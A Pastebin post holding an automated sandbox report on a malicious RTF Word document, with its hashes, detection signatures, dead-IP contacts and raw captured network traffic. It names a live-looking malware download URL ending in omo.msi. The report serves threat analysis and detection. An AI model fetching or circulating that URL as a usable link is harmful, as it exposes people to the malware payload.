API tools faq
paste
paladin316

RTF_299dad897d77030b8fdcbe6396e8561b_doc_2019-07-26_03_30.txt

paladin316
Jul 26th, 2019
2,426
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 229.66 KB | None | 0 0
raw download clone embed print report
  1.  
  2. * MalFamily: ""
  3.  
  4. * MalScore: 10.0
  5.  
  6. * File Name: "RTF_299dad897d77030b8fdcbe6396e8561b.doc"
  7. * File Size: 267454
  8. * File Type: "Rich Text Format data, version 1, unknown character set"
  9. * SHA256: "04d58c3585ece53cab574f78c43af2c2910f236185460932863d441ec5b6362f"
  10. * MD5: "299dad897d77030b8fdcbe6396e8561b"
  11. * SHA1: "420425335eef8bc0165426ae34fffe870815512c"
  12. * SHA512: "31f23e57046307b9a248e2025b0614b934f6c6ea2234e2325c361a888b27f6a34135eb6eae61f19cbc28de5ea09adb02455218921168f2416afd6fcadad572df"
  13. * CRC32: "8A6340FF"
  14. * SSDEEP: "1536:sxxQW3yq6MLrhd0UbapRBKfynV6rYcwgKf:sxt36MvhdDabr48yw"
  15.  
  16. * Process Execution:
  17. "WINWORD.EXE"
  18.  
  19.  
  20. * Executed Commands:
  21.  
  22. * Signatures Detected:
  23.  
  24. "Description": "Possible date expiration check, exits too soon after checking local time",
  25. "Details":
  26.  
  27. "process": "WINWORD.EXE, PID 2648"
  28.  
  29.  
  30.  
  31.  
  32. "Description": "Attempts to connect to a dead IP:Port (7 unique times)",
  33. "Details":
  34.  
  35. "IP": "52.109.20.1:443"
  36.  
  37.  
  38. "IP": "23.60.72.96:443"
  39.  
  40.  
  41. "IP": "65.52.98.231:443"
  42.  
  43.  
  44. "IP": "72.21.91.29:80"
  45.  
  46.  
  47. "IP": "184.28.188.192:80"
  48.  
  49.  
  50. "IP": "104.18.25.243:80"
  51.  
  52.  
  53. "IP": "23.64.189.123:443"
  54.  
  55.  
  56.  
  57.  
  58. "Description": "At least one IP Address, Domain, or File Name was found in a crypto call",
  59. "Details":
  60.  
  61. "ioc": "adial.glox"
  62.  
  63.  
  64. "ioc": "ontent.inf"
  65.  
  66.  
  67. "ioc": "pictureorgchart.glox"
  68.  
  69.  
  70. "ioc": "iso690nmerical.xsl"
  71.  
  72.  
  73. "ioc": "rings.glox"
  74.  
  75.  
  76. "ioc": "rame.glox"
  77.  
  78.  
  79. "ioc": "ext.glox"
  80.  
  81.  
  82. "ioc": "turabian.xsl"
  83.  
  84.  
  85. "ioc": "ieee2006officeonline.xsl"
  86.  
  87.  
  88. "ioc": "e.gu"
  89.  
  90.  
  91. "ioc": "ccent.glox"
  92.  
  93.  
  94. "ioc": "ist.glox"
  95.  
  96.  
  97. "ioc": "rc.glox"
  98.  
  99.  
  100. "ioc": "chevronaccent.glox"
  101.  
  102.  
  103. "ioc": "sist02.xsl"
  104.  
  105.  
  106. "ioc": "rocess.glox"
  107.  
  108.  
  109. "ioc": "adge.thmx"
  110.  
  111.  
  112. "ioc": "content.inf"
  113.  
  114.  
  115. "ioc": "iew.thmx"
  116.  
  117.  
  118. "ioc": "gb.xsl"
  119.  
  120.  
  121. "ioc": "harvardanglia2008officeonline.xsl"
  122.  
  123.  
  124. "ioc": "rid.glox"
  125.  
  126.  
  127. "ioc": "..3b"
  128.  
  129.  
  130. "ioc": "eadlines.thmx"
  131.  
  132.  
  133. "ioc": "nline.xsl"
  134.  
  135.  
  136. "ioc": "rop.thmx"
  137.  
  138.  
  139. "ioc": "gostname.xsl"
  140.  
  141.  
  142. "ioc": "rame.thmx"
  143.  
  144.  
  145. "ioc": "architecture.glox"
  146.  
  147.  
  148. "ioc": "gosttitle.xsl"
  149.  
  150.  
  151. "ioc": "ividend.thmx"
  152.  
  153.  
  154. "ioc": "asis.thmx"
  155.  
  156.  
  157. "ioc": "quations.dotx"
  158.  
  159.  
  160. "ioc": "mlaseventheditionofficeonline.xsl"
  161.  
  162.  
  163. "ioc": "set.dotx"
  164.  
  165.  
  166. "ioc": "anded.thmx"
  167.  
  168.  
  169. "ioc": "chicago.xsl"
  170.  
  171.  
  172. "ioc": "iso690.xsl"
  173.  
  174.  
  175. "ioc": "ype.thmx"
  176.  
  177.  
  178. "ioc": "arallax.thmx"
  179.  
  180.  
  181. "ioc": "ircuit.thmx"
  182.  
  183.  
  184. "ioc": "g.n9"
  185.  
  186.  
  187. "ioc": "erlin.thmx"
  188.  
  189.  
  190. "ioc": "uotable.thmx"
  191.  
  192.  
  193. "ioc": "roplet.thmx"
  194.  
  195.  
  196. "ioc": "etropolitan.thmx"
  197.  
  198.  
  199. "ioc": "late.thmx"
  200.  
  201.  
  202. "ioc": "avon.thmx"
  203.  
  204.  
  205. "ioc": "eathered.thmx"
  206.  
  207.  
  208. "ioc": "esh.thmx"
  209.  
  210.  
  211. "ioc": "vent.thmx"
  212.  
  213.  
  214. "ioc": "rail.thmx"
  215.  
  216.  
  217. "ioc": "amask.thmx"
  218.  
  219.  
  220.  
  221.  
  222. "Description": "Performs some HTTP requests",
  223. "Details":
  224.  
  225. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D"
  226.  
  227.  
  228. "url": "http://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D"
  229.  
  230.  
  231. "url": "http://indaiacollection.com/modules/jmsslider/views/img/layers/dir/omo.msi"
  232.  
  233.  
  234.  
  235.  
  236. "Description": "A document file initiated network communications indicative of a potential exploit or payload download",
  237. "Details":
  238.  
  239. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x9a\\x82\\x1b\\xf8\\xd0\\xc9\\x97a\\xeb\\xdb\\xc5g\\x9c\\xaa\\xef\\xdc\\xf6\\xf7\\xd5tv\\x88\\x90\\xc1<,@\\xf4^~\\xaaj \\x8f\\xf0n\\xfe\\x88\\xad\\xf2\\xed\\x9e\\xd8u\\xf1shs\\x7ff1 \\xbe\\xed=\\x1e\\x03?\\x02w\\xcd\\xf1ae\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xa7`+\\xd1\\x9f~\\xe3\\x93z\\x17\\xe2\\xb6s>\\x19lw\t\\x08u\\x9c\\x8a\\x8av\\xfc\\xba\\xd7\\xb2r\\x11\\x83\\xa7\\xfd\\x8fjmq\\xdf\\x96\\xee\\xba\\x9f\\xb6dt\\x13\\xca\\x9b"
  240.  
  241.  
  242. "http_request": "winword.exe_WSASend_get /mfewtzbnmeswstajbgurdgmcgguabbtbl0v27rvz7lbduom%2fnyb45spuewqu5z1zmijhwmys%2bghunoz7oruetfaceai4elabvpzalrznpjlrv1u%3d http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: ocsp.digicert.com\r\n\r\n"
  243.  
  244.  
  245. "http_request": "winword.exe_WSASend_get /mfqwujbqme4wtdajbgurdgmcgguabbrpc1vzt9qvn7bzy3iidtbhla4mkqquwiif1tycsck3fd7%2fhijo5ox%2f%2bn0ce3saagyvv14%2fmepdgh0aaaaabk8%3d http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: sat, 23 mar 2019 17:46:18 gmt\r\nif-none-match: \"dd54d75d468"
  246.  
  247.  
  248. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01p>\\xd67\\xe1\\xf9s\\xf8\\xb2\\xe5\\x1a\\x9dzx\\xe6\\x80c*\\xae\\x1c\\x1d\\xa3\\xcf\\xf8\\x01\\xb3\\xa1\\x7f\\xd7\\xd6\\x8ceh\\xf4 \\x84h\\xab\\x99q\\xe4\\xfb\n\\x91\n?a8\\xd2r\\xa0\\x8c\\xa0\\x90\":\\xcf\\xf1;\\xef\\.\\xa9)\\xcc\\xdf\tq\\x9d\\xe4\\x9fv\\x9a\\xf8o\\\\xf1\\x9e`m\\xbe^^v6<u\\xf0\\xa0\\x85\\x8d\\x81-\\x89\\x13\\x94|\\xc8\\xd8\\x95\rt\\xa10\\xdbu\\xf9%\\x9f\\xda\\xc8\\xa9\\x873\\xf7\\xf0%v\\x87f\\xe3\\xd8\\xfev\\xfc,09o\\x95s\\x88\\xe1\\x9d\\xd7=\\9\\x92\\x13\\xce\\xce\\xb3\\xebv_x\\xd6\\x15\\x1frh\\x82\\xe4c\\x84\\xba\\xa1t\\xf4x3zc,\\xd7\\xe8\\xc6\\xe9\\xf2w\\x14\\x931z\\xa82\\x05\\x0e\\xba\\x9aq\\xb9\\xc2;j\\xd6\\xa7p\\xa7\\xc3\\:z\\x9a\\xbehf\\x92\\xe5\\x0fl\\xc3\\xc20\\x1f\\x8d\\xe0twj\\xa9\\xd1\\x1d5\\xcd\\xf2\\x19\\xbay9r\\xb8'\\xeduy3\\xb2#\\xd4\\xe5g\\x00\\xa3n\\x9e\\x15m \\x1at\\xabb\\x87j\\xd6sd\\xbb\\xdc"
  249.  
  250.  
  251. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x02 \\x00x.\\x84\\xf6\\xb8f2\\xc0\\xa48z\\xe0k-\\x9b\\xbe=\\xba\\x15\\xad\\xc7\\xb2\\xf5\\xc3\\xb2\\x8c9\\x1f\\xe1o\\xf2\\xac:d\\xffm\\xe7\\xd3\r\\xf0\\xfc>z\\xf8\\xcb\\xaee$a\\xcdtr\\xd9\\xd0i\\xb5\\xb5\\x93\\xf4\\xac\\xb9\\xccqc=\\xc2\\xc5\\xf3\\x89\\xc3\\xfd\\xc3\\xcf\\x11h\\x87\\x87\\xa3c\\xc8\\x1c\\xee\\xc2n\\x9b\\x95\\xed\\xcfh\\xf3\\xf4\\x02c\\xb7`\\x07\\xb4\\xea\\xc1\\x99\\xbci\\xc3:\\xe1\\xd2%^\\x80b*\\xe6wl\\x81\\x80\\xe7\\x81i\\xc8r%\\x98\\x1a\tr\\x9ewl;x\\x1c\\xb3\\xa7\\xae\\xa3\\xbb\\x8c\\xff8\\x04o\\x83\\xdc\\x02\\x06\\xb3\\x8c\\xd9\\x03\\x8b\\xa4\\x18\\xa3\\xbf\\xb8\\xd6\\xfe\\xe3\\xc1\\xe3x5m\\xb4e\\xa7j\\xb5\\xc9\\x0cv\\xfd\\xae\\xa1y\\x9ed\\x93\\xb5\\x18\\xb17y\\xf3w\\x8es\\xb8\\x19,-\\x949\\x16\\xd1\\x8c\\xa6i\\x88~\\x1du7\\xe4\\x18\\xe9\\xaa\\x0e\\xd0\\xd3\\xc3\\xc20\\x1c\\xcfyi\\xb9\\xac\\x7f\\x8av\\x1auh\\xad\\xd9q\\x90\\xfc\\xae\\xe1\\xc2\\xdf~w3\\x82\\xe1\\x0f\\x0b"
  252.  
  253.  
  254. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00z\\x01\\x00\\x00v\\x03\\x01:k\\x10\\x14\\x03\\x060\\x1a\\xf1\\x97\\xcd\\x08\\xc4\\xa2siq;\\x9a\\xfd\\x07\\xbaw\\xcc\\xee\\xbb*\\xf7;\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x005\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x1c\\x00\\x1a\\x00\\x00\\x17odc.officeapps.live.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  255.  
  256.  
  257. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04@uoi\\xdc#\\x07\\xfa_u\\xfe\\x90\\\\xd7^\\xc6\\x13\\xa8\\xb5!^ak\\xfb\\xcc\\xb0\\x95\\xfcd\\x7fs\\xf33\\x16\\xf1m\\x8a/?e\\x82\\x82wp\\xdc\\xde\\xc8\\xef\\xaf\\x81\\x8e\\xf3\\x8b\\xf6\\x866d\\xc4\\x19a\\x8a\\x95\\x10\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000uc`\\x9f\\x10g\\x96\\xfc\\xf9\\xe7\\xb9r\\xc4\\x12b\\x12\\x96\\x16\\x1f$\\xa9p\\x1b`$\\x89+\\xdc\\xaa\"\\xe4\\x11q\\x1a\\xe3\\xcd\\xf1\\xbe\\xe1\\xd8\\xcd\\xeb|x\\xb4\\xe5\\xe1z"
  258.  
  259.  
  260. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01p\\xafm\\x9f\\x85\\xb0\\xb8a\\xc9mi\\xa2\\xcb\\xccv\\xedkxd\\xdd\\xd6\\xc6\\x1e\\x9e\\x0b\\xa9\\xdbo=2\\xf8u1\\x8ax\\xe3\\x9dn\\xe5\\xa6\\xfd\\xd2-\\x10)\\xde\\x8f0\\xdcp\\xfc\\xd5g<\\x14\\xec\\xed\\x8c\\xba\\xbc\\x0c\\xc9\\xc6\\xd9\\xba\\x93zn\\x83\\xe1\\x11yo\\x9c\\xa9\\xd6q\\xbb\\xf4q\\xad\\xb7\\xfa`\\xa5\\xc0\\xef\\xce\\x9ev\\xde\\xf2>h^ru\\xc7h\\x15\\xab|\\xf1\\xaf\\x87w\\x8b\\x84\\x97\\xde_\\xe9n\\xc5z\r\\x9d\\x05\r#\\xf7\\x18\\xe5g\\xde\\x12r1\\x90\\xab\\xb1\\x02\\xda\\xc0\\x80~h\\x82\\xd0;\\xeffm\\x89\\x14\\xb7+h\\xa2\\xf626fs)\\xb8\\xb4\\xd6 v\\xab6\\xde\\xae,\\x9fn\\x19\\xe9dj,7\\xcf\\xf7\\xdf\\x84\\xcb?(\\xd8\\xe6\\x985\n-\\x97\\xfbb\\xe7\\x8f\\xd5\\x9b\\xd2k\\xc0\\xcf\\xb3\\xa9\\x8f\\xe1\\x9a\\x93q\\xbc<\\xdd%\\xd4*\\xaa\\x93y\\x87>5u>bf\\xc4\\xcd\\x0e\\xffk~%d\\xcd\\xb4\\x11\\x8b8\\xd5\\x0571p\\xf9\\xb0\\xef\\xd8\\xbd\\x01\\xc9e\\xad\\xb6$"
  261.  
  262.  
  263. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x7f\\x01\\x00\\x00\\x03\\x01:k\\x15\\xca\\xd0\\xcd7\\xc4\\x05\\x17.r\\x1ay\\xfburb\\xcf\\xa2\\xf0y8\\xc3\\x95z\\xc3a\\xbam\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00:\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00!\\x00\\x1f\\x00\\x00\\x1cactivation.sls.microsoft.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  264.  
  265.  
  266. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x01\\x06\\x10\\x00\\x01\\x02\\x01\\x00\\x84.r\\xc7\\x94\\xd4\\xa1<\\xa5\\xc0\\xb5\\x14\\xdc\\x05'eg\\xcf\\x90\\xdb5\\x1a\\x95\\xc4\\x927\\xaci\\x1d\\xe6\\x9f\\xac9q\\x9f\\x94\\xc7\\xae\\xfc\\x0f\\xbe\\xc7\\xa8!l\\xc5\\x06kj\\xc3|8\\xd5>\\xf1\"8%\\xf3\\x9f^\\x9d\\xd0e\\x17\\xf2a\\x98\\xbc0u\\x18\\x81\\x07\\xc9\\xaf\\xb9\\xb3\\xd5\\x1a\\xbfu\\xec\\xbb\\xe1\\xcfy\\xeaa\\xb3\\xe5\\xc8\\x81\\xde\\xe3?x\\\\xc6.c1\\xf0^\\xb0\\xf6\\x85\\x16\\xd1\\xb2n\\x0b\\x8e\\x04p9\\x12\\x91c$r)\\xc7<\\x04\\xb9s\\xb4\\xd1\\xcb\\xb5\\x7f\\xc7$\\xc5\\\\xeb\\xb7\\x17\\xa4\\x17j\\xeb\\x07\\xa3b)\\xd5*&oiy\\x18\\xf4r\\xacw\\xc3\\xd9\\x01w\\xc1\\xf2\\x95\\xd4e\\xa1\\xf9\\xcdb\\xfb\\xcbr!w\\xebif\\x17/\\xc3\\x1a\\xe7!o\\x0e\\x81\\xadf\\xf8,\\x97#\\x80u\\x00\\xaf\\x9ch-\\xa56\\x95\\xa2<i\\xebv\\x89\rb\\xe4\\xf5\\xb0\\xe0f\\xdd\\x80m\\xf8^\\xe5\\x84t\\xda\\xc0\\xe6fo\\x8c\\x02\\xbf\\xa1g\\x0f\\xa5\\xc1\\x15\\xe7\\x90\\xe0\\xc5"
  267.  
  268.  
  269. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01`r\\x81>fm\\x80\\x05`+\\x88\\xad\\xf6\\x7f\\x00u:\\\\xd7\\x7f\\xcax\\xee-\\x02\\xed\\xe5\\x9b-~^m0\\xb8>\\x9f\\x14\\x93\\x86\\xd7*\\xb5\\xf9z\\xe2\\xde\\xd6\\xc3\\xbe\\xb0?\\\\xa8(\\x88$g\\xf9\\xe7\\xc8\\x8f\\xffq\\xcfbw\\xed\\x9c\\x05?\\xe3\\xd2\\xcb\\x06\\xa3\\x95x\\xfb\\x93\\x13\\xb0\\xb0\\x81q\\xed\\xee\n\\xd5ug \\x9ez\\xf1\\x87o#\\x83~\\xdd\\xc8\\xcc\\xa0 \\xab\\x11\\xd4\\x04\\x1e/t8\\xd0\\xe0_\\xf6\\x14\\xc5\\xdd\\x9e\\xa6\\xcc\\x91\\xebk\\x10\\xa4gny\\xa5\\xf8\\x8a\\xb5p\\x0fy/\\x03\\x12&\\xaf\\x92\\xb5t\\xfc\\x8b\\xd23\\x86\\xd9@a\\xf0\t\r\\xee\\xc6\\xfbc\\x16t\\xa5z\\xd0\\xe7\\x9e\\xe7\\x90v\\xf7\\xa5wm\\xa0\\xb5^\\xf2a\\xa2\\x0bc'\\x7f\\xd0x\\x8f\\x8a\\x03\\xbd\\xad\\xad\\x9a\\xdd\\xce\\xcd\\x06\\x90t~\\xc4\\x08\\xe5u\\xeb\\xd2\\x91w\\xcb\\x0e\\x1bh\\xfb%\\xb3\\x12~f\\x07;\\xd9\\x8d\\xe4h\\xc4la\\xb3\\xf8\\xbf\\xea\\x8f\\xbe\\xea\\xb2\\x9dj\\xbd\\xe60%~k\\xf5\\x1b"
  270.  
  271.  
  272. "http_request": "winword.exe_WSASend_\\x17\\x03\\x019pc\\x91\\x10\\xf3\\x85@\\xd3\\xdf\\xfa\\xe9\\x9a\\xcft\\xd9\\xca\\xeb\\x88\\xfe\\xe7\\xda\\x14\\xf0'\\xd87\\xb9\\xbe\\x8f,ax\\xfa\\x05\\xaf+;\\x9az\\xae4^>\\xbf\\xd5%@\\xc1\\xece\\xaf\\x1c|\\xce8\\xf7\\xb6\\x1a\\xc6x\\xe9w\\xe9?\\xba\\xbf\\xf6\\x19\\x8b\\x16\\x18\\x8as\\xd82\\x95='\\x83\\x9f\\xaf6\\xf18|\\xe6y\\xc9\\x8a;\\xcf\\x8e\\xa8l\\x00\\xa7\\x7f\\xc3(\\xcev\\xdd\\x03j7~\\xe4#\t\\x8cr/\\xc5-\\x8b\\x00\\xe4\\x1c\\xe5p\\xb1\\xf8\\xf3\\x92m\\xc9b\\x85\\x18\\x156\\xacs\\x8d\\xe9\\x80\\xda\\x1b\\x881\\x9a\\xce\\x9c/u\\xe0f\\xf44\\xb6>o\\x80\nr\\x86\\xcf>i\\x8e\\xbfher\\xfc\\x10;\\xac2\\x8a\\x1c\\xf8\\xe6\\xe2p\\x14\\xd2;np\\xb61te\\xd0\\xe3#\\x03\\xd44vw\\x17l\\xdali?i\\xc4\\x86\\xbd\\xdd@\\xd2s\\xb8n\\x18\\xf1_o:\\x04\n\\x7f \\xc2\\x81\\xca\\x9e\\xaf6%\\xe1\\xec\\xa2xs\\xc1\\xccg\\xd9\\x1e\\xa8\\xf0\\xc6h\\xf8e\\x02r\\xc6h\\x9d\\xf2\\x84e"
  273.  
  274.  
  275. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x01\\x00\\x00y\\x03\\x01:k\\x16\\xae*\\x9ae\\x19\\x01#\\xe3\\xae\\x87\\xe7n x`\\xef\\x97\\xb6\\xf7(\\xc3l\ruuqqg\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x008\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x1f\\x00\\x1d\\x00\\x00\\x1atemplateservice.office.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  276.  
  277.  
  278. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04z;\"v7@\\x91\\x93\\x1d'\\xb0\\xe8\\x9aj\\xd2\\x0e7\\xd0\\xc5q\\xc6\\xc8\\xb6\\x9cb>\\x1fjs\\xd5\\xb0\\xd5^\\xd5l5\\xb2\\xef\\x1d\\xd4\\xa6\\xb7\\xcb\\xe3\\xd5\\xd0w\\x87\\xd2f\\xbb\\\\x0e\\xcf\\xc00\\xe5\\xe3\\x01\\xe6=\\xf07\\x9b\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000q\\xf3;\\xdb\\xd9\\xd9\\xe6\\xb2\\xff\\x8es\\xbfd\\xd0\\xbc\\xbe\\x9b\\xff\\x8cps\\x86\tv\\x07\\x95;h\\xd1e\\xfb\\x0b\\xa0\\x86\\xb1\\xa3\\xdb\\x8c\\xdc\\xc2\\x1a\\xd5\\xdd\\xab\\x80-+p"
  279.  
  280.  
  281. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01p\\xc3\\x9f\\x91\\xdc\\x8a\\x86\\xc6\\xa1\\xc9\\xea\\xf6nq\\xf2\\x8e\\xf7\\x07\\xa8z\\xe4\\x18\\xe8k\\x8a$\\xc97q\\xf5\\xb7!f\\x92\"\\xd6v '\\xf2\\x00u):0\\x9e\\xd9%\\xbe\\xd9\\xb2-\\xdf\\x97\\x1b\\x82\\xbex\\\\x89\\x9b\\xd2\\xe15l\\xc6\\xe7\\xb4rf\\x17\\x8e\\xdd\\xa7<\\xe5j\\xb4\\xef\\x0ei\\xdee6\\x7f-\\xc8rc\\xacu0\\x05\\x98\\\\x13\\xf8\\xae;n\\x8c(\r\\xc2\\x00\\x17*\\x00o\\xa02l^\\x08\\xda)\\x13\\xff\\xa84g\\xa7'\\x97\\xe7qs\\xead8\\xa5\\xb0\\xfff:\\xae\\x17\\x1b\\xf0\\xe5j\\xa3\\xdf\\xb6\\xdew\tz\\xdf\\x00\\xc9\\xc7\\x13\\xbf\\x16p\\x13'\\xcfp$o\\xd0\\xf5\\x84\\xf1\\xaf\\xea\\xaf\\xa6\\x9b\\xee\\x96\\xf7\\x87\\\n\\#*\\x9e\\xe40\\x12\\x1c\\xc6\\xac\\xbb >\\xfcl\\xeb\\x0bl\\xc48n\\x84g\\x8b\\xb9\\xa1\\xdc:\\xa1c\\x8a\\xc2\\xa0s\\xc3\\xab\\xb0\\x1c\\xe3|\\xb9%7\\xa7\\xb9\\xbe\\xb399\\xcd#n\\x8f\\x98\\x8d\\xe2\\x0f\\>jn\\xfa\\x86\\xe5\\xcf\\x89\\xa0pfc\\\\xbfu"
  282.  
  283.  
  284. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01:k\\x17\\xb9&qu\\xa3\\xfeq\\x9b\\x9b\\x99\\x8eqf$l\\xbb\\xf7p(\\xefz\\xe5qw\\x8btt\\x8f\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  285.  
  286.  
  287. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01:k\\x17\\xbe\\x84=\\xd5\\xfc>\\xde\\xe0\\xfd\\x90\\x96;\\xd7~\\x19\\x07\\x0ek\\xa4w\\xeb\\xe8\\xedi\\x0e62\\xdf\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  288.  
  289.  
  290. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01:k\\x17\\x814\\x95y\\x86\\xb4ph\\xf2b\\x81\\xe4\\xb3\\xbf\\xc7\\x01\\x89\\x9f1\\xcf\\x90\\xb1!\\xa4\\x05sz5\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  291.  
  292.  
  293. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01:k\\x17\\xe6jw\\xb8!\\xe6\\xa8\\x18hgf\\xd9ji\\xb9\\xa7\\x7f\\xfa\\x11^\\x1f\\x80\\xd8\\xc0\\xc9\\xa0\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  294.  
  295.  
  296. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01:k\\x17j\\xf7\\x9ei-\\x0f\\xc2g^\\xc2\\x19\\xf7\\x11yy\\x8d\\xd6w\\xcf#\\xcc\\xa0\\xc7:\\x13\\x82\\x1ep\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  297.  
  298.  
  299. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01:k\\x17 o\\xe1\\x81 \\x03\\xbc\\xcd\\xddh\"4f\\xeer\\xbc\\xe4\\xcc\\x99\\xb0ur\\xc1|\\xfa3\\xf5\\x9c\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  300.  
  301.  
  302. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01:k\\x17\\xe9f\\xac\\xf9\\x98l\\xc4\\xa1\\x94'\\\\xc3\\xad\\xfdu\\xdds\\xa3\\x0cm\t\\x870w.\\xbf\\x9b\\x19\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  303.  
  304.  
